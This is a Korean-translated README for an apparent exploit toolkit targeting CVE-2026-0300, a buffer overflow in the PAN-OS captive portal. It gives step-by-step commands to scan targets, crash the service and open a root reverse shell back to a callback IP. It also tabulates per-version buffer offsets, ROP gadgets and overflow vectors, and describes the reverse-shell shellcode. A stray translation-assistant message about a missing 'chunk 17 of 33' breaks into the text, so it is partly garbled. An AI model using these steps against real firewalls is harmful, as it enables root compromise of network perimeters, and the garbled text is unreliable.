
Palo Alto - CVE-2026-0300 exploit
치명적 (CVSS 9.3) — Palo Alto Networks PAN-OS 캡티브 포털에서의 인증되지 않은 원격 코드 실행
CVE-2026-0300은 Palo Alto Networks PAN-OS 소프트웨어의 User-ID 인증 포털(캡티브 포털이라고도 함) 서비스에서 발생하는 치명적인 버퍼 오버플로 취약점입니다. 인증되지 않은 공격자는 특수하게 제작된 패킷을 전송하여 PA 시리즈 및 VM 시리즈 방화벽에서 루트 권한으로 임의 코드를 실행할 수 있습니다.
이 저장소에는 다음을 포함하는 개념 증명(PoC) 익스플로잇 툴킷이 포함되어 있습니다:
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-0300 |
| 심각도 | 치명적 |
| CVSS 4.0 | 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| CWE | CWE-787: Out-of-bounds Write |
| CAPEC | CAPEC-100: Overflow Buffers |
| 영향 | 인증되지 않은 원격 코드 실행 (root) |
| 악용 현황 | 야생에서 제한적인 악용 관찰됨 |
PAN-OS 소프트웨어의 User-ID 인증 포털 서비스에 존재하는 버퍼 오버플로 취약점으로 인해, 인증되지 않은 공격자가 특수하게 제작된 패킷을 전송하여 방화벽에서 루트 권한으로 임의 코드를 실행할 수 있습니다. 캡티브 포털 HTTP 서비스는 HTTP 헤더를 파싱할 때 고정 크기 스택 버퍼를 사용하므로, 과도하게 큰 헤더 값(Cookie, User-Agent, URI 또는 POST 본문)을 통해 오버플로가 발생할 수 있습니다.
대상이 취약하려면 다음 두 조건이 모두 충족되어야 합니다:
영향 없음: Prisma Access, Cloud NGFW, Panorama 어플라이언스.
┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘
### 스캐너 흐름```
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip port │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443,8843) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Captive Portal │──────────▶│ Not exposed │
│ fingerprint? │ └─────────────┘
│ (login.esp, │
│ User-ID, PA-, │
│ PAN-OS, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract PAN-OS │
│ version from │
│ Server header / │
│ response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Matched ranges │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘
---
## 프로젝트 구조```
POC-CVE-2026-0300-exploit/
├── payload_gen.py # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt # Python dependencies
└── README.md # This file
git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit
pip3 install -r requirements.txt
**요구 사항**: Python 3.8+, 핵심 기능에는 표준 라이브러리만 사용됩니다. `requests`는 선택 사항입니다.
---
## 스캐너 사용법 — 단계별
스캐너는 취약한 PAN-OS Captive Portal 대상을 식별하기 위해 안전하고 비침습적인 검사를 수행합니다.
### 단계 1: 단일 대상 스캔```bash
python3 scan.py --target 192.168.1.1
스캐너는 다음을 수행합니다:
python3 scan.py --target 192.168.1.1 --port 443
### 3단계: 파일에서 여러 대상 스캔
한 줄에 대상 하나씩 `targets.txt` 파일을 생성합니다:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored
I received no source content to translate. Please provide the Markdown text for chunk 17 of 33, and I will translate it into Korean following all the specified rules.```bash python3 scan.py --targets targets.txt
### 4단계: 결과를 JSON으로 저장```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json
Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE
| 지표 | 방법 |
|-----------|--------|
| 캡티브 포털 노출 | HTTP 핑거프린트 매칭 (login.esp, User-ID, PA-, PAN-OS 패턴) |
| PAN-OS 버전 | 서버 헤더 파싱, 응답 본문 정규식 추출 |
| 취약한 버전 | CVE-2026-0300 영향을 받는 버전 범위와 비교 |
| SSL 인증서 | 대상 식별을 위한 인증서 subject/issuer |
---
## 익스플로잇 사용 — 단계별
이 익스플로잇은 강도가 증가하는 세 가지 모드를 지원합니다.
### 모드 1: 감지 (안전, 비침습적)
적당히 과대한 크기의 헤더를 전송하고 정상 요청과 응답을 비교합니다. 서비스를 중단시키지 않습니다.```bash
python3 exploit.py --target 192.168.1.1 --mode detect
기능:
유효하지 않은 반환 주소(0x41414141)가 포함된 버퍼 오버플로 페이로드를 전송하여 Captive Portal 서비스를 크래시시킵니다.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7
**What it does**:
- 버전별 오버플로 페이로드를 생성합니다.
- 반환 주소를 0x4141414141414141로 덮어씁니다.
- 선택한 오버플로 벡터(기본값: Cookie 헤더)를 통해 전송합니다.
- 후속 요청으로 서비스 크래시를 확인합니다.
- 페이로드 전송 후 서비스가 다운되었는지 보고합니다.
**Options**:
- `--vector cookie|ua|uri|post` — 오버플로 벡터를 선택합니다 (기본값: cookie)
- `--http` — HTTPS 대신 HTTP를 사용합니다
### Mode 3: Full RCE (Reverse Shell)
리버스 셸 페이로드가 포함된 버퍼 오버플로를 전송합니다. 콜백을 수신하기 위해 리스너를 시작합니다.```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
--version 11.2.7 \
--callback-ip 10.0.0.1 \
--callback-port 4444
기능:
필수 인자:
--version — 대상 PAN-OS 버전 (버퍼 오프셋과 ROP 가젯 결정)--callback-ip — 사용자 IP 주소 (대상에서 접근 가능해야 함)--callback-port — 리버스 셸 콜백 포트 (기본값: 4444)선택 인자:
--vector cookie|ua|uri|post — 오버플로우 벡터 (기본값: cookie)--nop-sled 128 — NOP 슬레드 크기 (바이트 단위) (기본값: 128)--timeout 30 — 연결 및 리스너 타임아웃 (초 단위)--http — HTTPS 대신 HTTP 사용--json report.json — 익스플로잇 보고서를 JSON으로 저장[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!
### 지원 버전 및 벡터
**버전** (버전별 버퍼 오프셋 포함):
| 버전 | 버퍼 오프셋 | ROP 가젯 | 기본 벡터 |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |
**벡터**:
| 벡터 | 헤더/위치 | 설명 |
|--------|----------------|-------------|
| `cookie` | Cookie 헤더 | 과도하게 큰 Cookie 값으로 인한 오버플로 |
| `ua` | User-Agent 헤더 | 과도하게 큰 User-Agent 값으로 인한 오버플로 |
| `uri` | 요청 URI 경로 | 과도하게 큰 URI 경로로 인한 오버플로 |
| `post` | POST 본문 | 과도하게 큰 POST 양식 데이터로 인한 오버플로 |
---
## 페이로드 설계
### 버퍼 오버플로 레이아웃```
┌─────────────────────────────────────────────────────────────────┐
│ HTTP Header Value (Cookie / User-Agent / URI / POST body) │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│ Padding │ Saved │ ROP │ NOP │ Shellcode │
│ (to │ Frame │ Gadget │ Sled │ (reverse shell) │
│ offset) │ Pointer │ (jmp │ (\x90 │ │
│ │ (8 B) │ rsp) │ * N) │ │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
↑ ↑
Buffer overflow Return address overwritten
overwrites here with jmp rsp gadget
이 익스플로잇은 위치 독립적인(position-independent) x86_64 Linux 셸코드를 사용하며, 다음을 수행합니다:
socket(AF_INET, SOCK_STREAM, 0))connect())dup2())execve("/bin/sh", NULL, NULL))총 셸코드 크기: ~184바이트, syscall 명령어(\x0f\x05) 포함.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유한 시스템이나 명시적 서면 허가를 받은 시스템에만 사용하십시오. 프로덕션 시스템에 대한 무단 사용은 불법이며 컴퓨터 사기 및 남용 관련 법률을 위반할 수 있습니다.
작성자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 항상 책임 있는 공개(responsible disclosure) 관행을 따르고 적용 가능한 법률과 규정을 준수하십시오.
| PAN-OS 브랜치 | 취약한 버전 | 수정 버전 |
|---|
| 10.2 | 10.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.18 | 10.2.7-h34+ |
| 11.1 | 11.1.0–11.1.14 | 11.1.15+ |
| 11.2 | 11.2.0–11.2.11 | 11.2.12+ |
| 12.1 | 12.1.0–12.1.6 | 12.1.7+ |